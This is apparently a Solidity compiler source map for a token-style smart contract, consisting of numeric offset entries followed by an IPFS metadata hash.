23847:68;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;23435:488:::0;;;;:::o;14504:105::-;14570:7;14588:9;:18;14598:7;14588:18;;;;;;;;;;;;;;;;14581:25;;14504:105;;;:::o;12572:39::-;;;;;;;;;;;;;:::o;11333:45::-;;;;:::o;11284:42::-;;;;:::o;11831:34::-;;;;:::o;14420:78::-;14472:7;14490:5;;;;;;;;;;;14483:12;;14420:78;:::o;11502:32::-;;;;;;;;;;;;;:::o;22813:210::-;2464:19;2472:10;2464:7;:19::i;:::-;2456:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22915:9:::1;22910:106;22930:9;;:16;;22926:1;:20;22910:106;;;22998:6;22968:13;:27;22982:9;;22992:1;22982:12;;;;;;;;;;;;;;;22968:27;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;22948:3;;;;;22910:106;;;;22813:210:::0;;;:::o;14244:84::-;14294:13;14318:7;;;;;;;;;;;;;;;;;14311:14;;14244:84;:::o;11790:34::-;;;;:::o;24754:136::-;2554:24;2567:10;2554:12;:24::i;:::-;2546:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24844:6:::1;24838:3;:12;24830:21;;;::::0;::::1;;24879:3;24862:14;:20;;;;24754:136:::0;:::o;23931:269::-;2554:24;2567:10;2554:12;:24::i;:::-;2546:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24075:22:::1;24051:21;;:46;;;;;;;;;;;;;;;;;;24131:21;24108:20;;:44;;;;;;;;;;;;;;;;;;24188:3;;;;;;;;;;;24163:14;;:29;;;;;;;;;;;;;;;;;;23931:269:::0;;:::o;12375:19::-;;;;;;;;;;;;;:::o;15104:156::-;15184:4;15208:44;15222:10;15234:9;15245:6;15208:13;:44::i;:::-;15201:51;;15104:156;;;;:::o;2613:94::-;2464:19;2472:10;2464:7;:19::i;:::-;2456:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2695:4:::1;2673:14:::0;:19:::1;2688:3;2673:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;2613:94:::0;:::o;15823:172::-;2464:19;2472:10;2464:7;:19::i;:::-;2456:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15983:4:::1;15954:24;15939:12;;:39;15938:49;;;;;;15923:12;:64;;;;15823:172:::0;:::o;12443:38::-;;;;;;;;;;;;;:::o;12137:36::-;;;;;;;;;;;;;:::o;25052:167::-;25120:7;25147:64;25188:22;:20;:22::i;:::-;25147:36;25160:22;25180:1;25160:15;25170:4;;;;;;;;;;;25160:9;:15::i;:::-;:19;;:22;;;;:::i;:::-;25147:8;:12;;:36;;;;:::i;:::-;:40;;:64;;;;:::i;:::-;25140:71;;25052:167;;;:::o;12222:29::-;;;;;;;;;;;;;:::o;14615:133::-;14699:7;14717:11;:19;14729:6;14717:19;;;;;;;;;;;;;;;:28;14737:7;14717:28;;;;;;;;;;;;;;;;14710:35;;14615:133;;;;:::o;24208:156::-;2554:24;2567:10;2554:12;:24::i;:::-;2546:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24314:8:::1;24300:11;;:22;;;;;;;;;;;;;;;;;;24349:7;24333:13;:23;;;;24208:156:::0;;:::o;12180:35::-;;;;;;;;;;;;;:::o;19954:121::-;2464:19;2472:10;2464:7;:19::i;:::-;2456:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20049:10:::1;20032:14;:27;;;;19954:121:::0;:::o;2715:97::-;2464:19;2472:10;2464:7;:19::i;:::-;2456:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2799:5:::1;2777:14;:19;2792:3;2777:19;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;2715:97:::0;:::o;3046:173::-;2464:19;2472:10;2464:7;:19::i;:::-;2456:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3130:3:::1;3122:5;::::0;:11:::1;;;;;;;;;;;;;;;;;;3166:4;3144:14:::0;:19:::1;3159:3;3144:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;3186:25;3207:3;3186:25;;;;;;;;;;;;;;;;;;;;3046:173:::0;:::o;22351:347::-;2554:24;2567:10;2554:12;:24::i;:::-;2546:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22466:4:::1;22448:23;;:6;:23;;;;:41;;;;;22485:4;;;;;;;;;;;22475:14;;:6;:14;;;;22448:41;22440:50;;;::::0;::::1;;22528:6;22501:16;:24;22518:6;22501:24;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;22548:6;22545:146;;;22570:11;;;;;;;;;;;:20;;;22591:6;22599:1;22570:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;22545:146;;;22632:11;;;;;;;;;;;:20;;;22653:6;22661:9;:17;22671:6;22661:17;;;;;;;;;;;;;;;;22632:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;22545:146;22351:347:::0;;:::o;23161:128::-;2554:24;2567:10;2554:12;:24::i;:::-;2546:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23275:6:::1;23249:15;:23;23265:6;23249:23;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;23161:128:::0;;:::o;12344:24::-;;;;;;;;;;;;;:::o;11541:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;2931:107::-;2987:4;3011:14;:19;3026:3;3011:19;;;;;;;;;;;;;;;;;;;;;;;;;3004:26;;2931:107;;;:::o;12092:36::-;;;;:::o;12403:31::-;;;;;;;;;;;;;:::o;18209:330::-;18302:4;18339:53;18361:6;18339:53;;;;;;;;;;;;;;;;;:9;:17;18349:6;18339:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;18319:9;:17;18329:6;18319:17;;;;;;;;;;;;;;;:73;;;;18426:32;18451:6;18426:9;:20;18436:9;18426:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;18403:9;:20;18413:9;18403:20;;;;;;;;;;;;;;;:55;;;;18491:9;18474:35;;18483:6;18474:35;;;18502:6;18474:35;;;;;;;;;;;;;;;;;;18527:4;18520:11;;18209:330;;;;;:::o;457:192::-;543:7;576:1;571;:6;;579:12;563:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;603:9;619:1;615;:5;603:17;;640:1;633:8;;;457:192;;;;;:::o;16109:2088::-;16201:4;16221:6;;;;;;;;;;;16218:63;;;16237:41;16252:6;16260:9;16271:6;16237:14;:41::i;:::-;16230:48;;;;16218:63;16297:14;:22;16312:6;16297:22;;;;;;;;;;;;;;;;;;;;;;;;;16296:23;:53;;;;;16324:14;:25;16339:9;16324:25;;;;;;;;;;;;;;;;;;;;;;;;;16323:26;16296:53;16293:127;;;16373:11;;;;;;;;;;;16365:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16293:127;16457:13;;;;;;;;;;;16454:122;;;16495:13;:21;16509:6;16495:21;;;;;;;;;;;;;;;;;;;;;;;;;16494:22;:51;;;;;16521:13;:24;16535:9;16521:24;;;;;;;;;;;;;;;;;;;;;;;;;16520:25;16494:51;16486:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16454:122;16595:14;:22;16610:6;16595:22;;;;;;;;;;;;;;;;;;;;;;;;;16594:23;:53;;;;;16642:4;16621:26;;:9;:26;;;;16594:53;:84;;;;;16673:4;;;;;;;;;;;16652:26;;:9;:26;;;;16594:84;:105;;;;;16695:4;;;;;;;;;;;16682:17;;:9;:17;;;;16594:105;:142;;;;;16716:20;;;;;;;;;;;16703:33;;:9;:33;;;;16594:142;:173;;;;;16753:14;;;;;;;;;;;16740:27;;:9;:27;;;;16594:173;:212;;;;;16785:21;;;;;;;;;;;16772:34;;:9;:34;;;;16594:212;16590:404;;;16822:18;16843:20;16853:9;16843;:20::i;:::-;16822:41;;16911:15;;16900:6;16887:10;:19;16886:40;;16878:114;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16590:404;;17028:4;;;;;;;;;;;17018:14;;:6;:14;;;:49;;;;;17049:18;;;;;;;;;;;17018:49;:94;;;;;17085:16;:27;17102:9;17085:27;;;;;;;;;;;;;;;;;;;;;;;;;17084:28;17018:94;17014:299;;;17164:15;17137:13;:24;17151:9;17137:24;;;;;;;;;;;;;;;;:42;17129:91;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17280:21;;;;;;;;;;;17262:39;;:15;:39;17235:13;:24;17249:9;17235:24;;;;;;;;;;;;;;;:66;;;;17014:299;17366:28;17379:6;17387;17366:12;:28::i;:::-;17410:16;:14;:16::i;:::-;17407:35;;;17429:10;:8;:10::i;:::-;17407:35;17501:53;17523:6;17501:53;;;;;;;;;;;;;;;;;:9;:17;17511:6;17501:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;17481:9;:17;17491:6;17481:17;;;;;;;;;;;;;;;:73;;;;17567:22;17592:21;17606:6;17592:13;:21::i;:::-;:76;;17662:6;17592:76;;;17616:43;17624:6;17632;17653:4;;;;;;;;;;;17640:17;;:9;:17;;;17616:7;:43::i;:::-;17592:76;17567:101;;17702:40;17727:14;17702:9;:20;17712:9;17702:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;17679:9;:20;17689:9;17679:20;;;;;;;;;;;;;;;:63;;;;17788:16;:24;17805:6;17788:24;;;;;;;;;;;;;;;;;;;;;;;;;17784:119;;17833:11;;;;;;;;;;;:20;;;17854:6;17862:9;:17;17872:6;17862:17;;;;;;;;;;;;;;;;17833:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17829:63;;;;;;17784:119;17919:16;:27;17936:9;17919:27;;;;;;;;;;;;;;;;;;;;;;;;;17915:129;;17967:11;;;;;;;;;;;:20;;;17988:9;17999;:20;18009:9;17999:20;;;;;;;;;;;;;;;;17967:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17963:69;;;;;;17915:129;18060:11;;;;;;;;;;;:19;;;18080:14;;18060:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18056:51;;;;;;18141:9;18124:43;;18133:6;18124:43;;;18152:14;18124:43;;;;;;;;;;;;;;;;;;18185:4;18178:11;;;16109:2088;;;;;;:::o;315:136::-;373:7;400:43;404:1;407;400:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;393:50;;315:136;;;;:::o;128:181::-;186:7;206:9;222:1;218;:5;206:17;;247:1;242;:6;;234:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;300:1;293:8;;;128:181;;;;:::o;655:250::-;713:7;742:1;737;:6;733:47;;;767:1;760:8;;;;733:47;792:9;808:1;804;:5;792:17;;837:1;832;828;:5;;;;;;:10;820:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;896:1;889:8;;;655:250;;;;;:::o;911:132::-;969:7;996:39;1000:1;1003;996:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;989:46;;911:132;;;;:::o;18547:166::-;18644:12;;18634:6;:22;;:49;;;;18660:15;:23;18676:6;18660:23;;;;;;;;;;;;;;;;;;;;;;;;;18634:49;18626:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18547:166;;:::o;19300:197::-;19349:4;19387;;;;;;;;;;;19373:18;;:10;:18;;;;:38;;;;;19405:6;;;;;;;;;;;19404:7;19373:38;:62;;;;;19424:11;;;;;;;;;;;19373:62;:116;;;;;19476:13;;19448:9;:24;19466:4;19448:24;;;;;;;;;;;;;;;;:41;;19373:116;19366:123;;19300:197;:::o;20419:1922::-;12823:4;12814:6;;:13;;;;;;;;;;;;;;;;;;20468:27:::1;20498:60;20514:15;;20531:26;;20498:15;:60::i;:::-;:79;;20565:12;;20498:79;;;20561:1;20498:79;20468:109;;20588:23;20614:59;20671:1;20614:52;20657:8;;20614:38;20632:19;20614:13;;:17;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;:56;;:59;;;;:::i;:::-;20588:85;;20684:20;20707:34;20725:15;20707:13;;:17;;:34;;;;:::i;:::-;20684:57;;20754:21;20792:1;20778:16;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20754:40;;20823:4;20805;20810:1;20805:7;;;;;;;;;;;;;:23;;;;;;;;;::::0;::::1;20849:4;;;;;;;;;;;20839;20844:1;20839:7;;;;;;;;;;;;;:14;;;;;;;;;::::0;::::1;20866:21;20890;20866:45;;20924:6;;;;;;;;;;;:57;;;20996:12;21023:1;21039:4;21066;21086:15;20924:188;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;21125:17;21145:40;21171:13;21145:21;:25;;:40;;;;:::i;:::-;21125:60;;21198:19;21220:40;21233:26;21257:1;21233:19;:23;;:26;;;;:::i;:::-;21220:8;;:12;;:40;;;;:::i;:::-;21198:62;;21281:26;21310:58;21366:1;21310:51;21349:11;21310:34;21324:19;21310:9;:13;;:34;;;;:::i;:::-;:38;;:51;;;;:::i;:::-;:55;;:58;;;;:::i;:::-;21281:87;;21379:27;21409:45;21442:11;21409:28;21423:13;;21409:9;:13;;:28;;;;:::i;:::-;:32;;:45;;;;:::i;:::-;21379:75;;21465:26;21494:44;21526:11;21494:27;21508:12;;21494:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;21465:73;;21549:20;21572:38;21598:11;21572:21;21586:6;;21572:9;:13;;:21;;;;:::i;:::-;:25;;:38;;;;:::i;:::-;21549:61;;21627:11;;;;;;;;;;;:19;;;21654;21627:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;21623:65;;;;;;21699:15;21727:20;;;;;;;;;;;21719:34;;21761:18;21786:5;21719:77;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21698:98;;;21831:14;;;;;;;;;;;21823:28;;21859:12;21878:5;21823:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21807:81;;;;;21954:5;21941:18;;21993:1;21975:15;:19;21972:362;;;22010:6;;;;;;;;;;;:22;;;22040:18;22086:4;22110:15;22144:1;22164::::0;22184:21:::1;;;;;;;;;;;22224:15;22010:244;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22274:48;22286:18;22306:15;22274:48;;;;;;;;;;;;;;;;;;;;;;;;21972:362;12829:1;;;;;;;;;;;;12841:5:::0;12832:6;;:14;;;;;;;;;;;;;;;;;;20419:1922::o;18721:114::-;18783:4;18808:11;:19;18820:6;18808:19;;;;;;;;;;;;;;;;;;;;;;;;;18807:20;18800:27;;18721:114;;;:::o;18843:449::-;18923:7;18953:18;18974:6;:29;;19000:3;18974:29;;;18983:14;;18974:29;18953:50;;19014:17;19034:62;19092:3;19075:14;;:20;19034:36;19059:10;19034:20;19045:8;;19034:6;:10;;:20;;;;:::i;:::-;:24;;:36;;;;:::i;:::-;:40;;:62;;;;:::i;:::-;19014:82;;19146:39;19175:9;19146;:24;19164:4;19146:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;19119:9;:24;19137:4;19119:24;;;;;;;;;;;;;;;:66;;;;19226:4;19201:42;;19210:6;19201:42;;;19233:9;19201:42;;;;;;;;;;;;;;;;;;19263:21;19274:9;19263:6;:10;;:21;;;;:::i;:::-;19256:28;;;;18843:449;;;;;:::o;1049:189::-;1135:7;1167:1;1163;:5;1170:12;1155:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1194:9;1210:1;1206;:5;;;;;;1194:17;;1229:1;1222:8;;;1049:189;;;;;:::o
Metadata Hash
ipfs://f04575a223d7f019b79ebddf78d11f6b41be6e75c1f7c38bb63ad50f607f0069